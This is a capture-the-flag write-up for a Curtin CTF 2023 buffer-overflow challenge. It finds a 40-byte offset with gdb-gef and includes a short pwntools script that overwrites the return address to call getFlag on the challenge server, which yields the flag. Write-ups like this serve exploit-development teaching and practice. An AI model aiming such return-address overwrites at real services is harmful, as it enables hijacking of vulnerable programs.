> For the complete documentation index, see [llms.txt](https://n3r.gitbook.io/6e3372/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n3r.gitbook.io/6e3372/archives/curtin-ctf-2023/pwn-n-rev/classic-bufferoverflow.md).

# Classic Bufferoverflow

***

<figure><img src="/files/7I1FDjj0Io5IcYiUgamB" alt=""><figcaption></figcaption></figure>

***

### Solution

I think this is the trickiest challenge I have ever faced.

When i run the program, it will show something like `ltrace` or `strace` command.

<figure><img src="/files/9pgx2zMLGl6J8mP8t8sI" alt=""><figcaption></figcaption></figure>

First of all when facing a buffer overflow challenge, find the offset which for this challenge is 40 bytes.

<figure><img src="/files/RQzVbcfJcVKZesN53cvq" alt=""><figcaption><p>Notice that <code>Better luck next time!</code> did not printed in the image below means that we hit the offset value</p></figcaption></figure>

Next, I went through the code using `gdb-gef` and I found 3 functions, `main`, `getFlag` and `getInput`.

The target is the function `getFlag`, obviously to give me the flag. So, i get the address of the function which is `0x00000000004011d6` and use the same technique in challenge Don't Overboard 2.

<figure><img src="/files/kvJa6rVjMv58cWVV4CeA" alt=""><figcaption></figcaption></figure>

So, i made a simple script to ease my life

{% code title="solve.py" lineNumbers="true" fullWidth="true" %}

```python
from pwn import *
context.bits=64
conn = ELF('./challenge.bin')

rem=remote('3.26.44.175',3336)

offset=40
addr=0x004011d6

payload=b"a"*offset
payload+=p64(addr)

rem.sendline(payload)
rem.interactive()
```

{% endcode %}

Just run it and the flag is already served.

<figure><img src="/files/Su21L9IT2Ij9tPc7WgCd" alt=""><figcaption></figcaption></figure>

***

### Flag

CURTIN\_CTF{B4S1C\_0V3RF10W}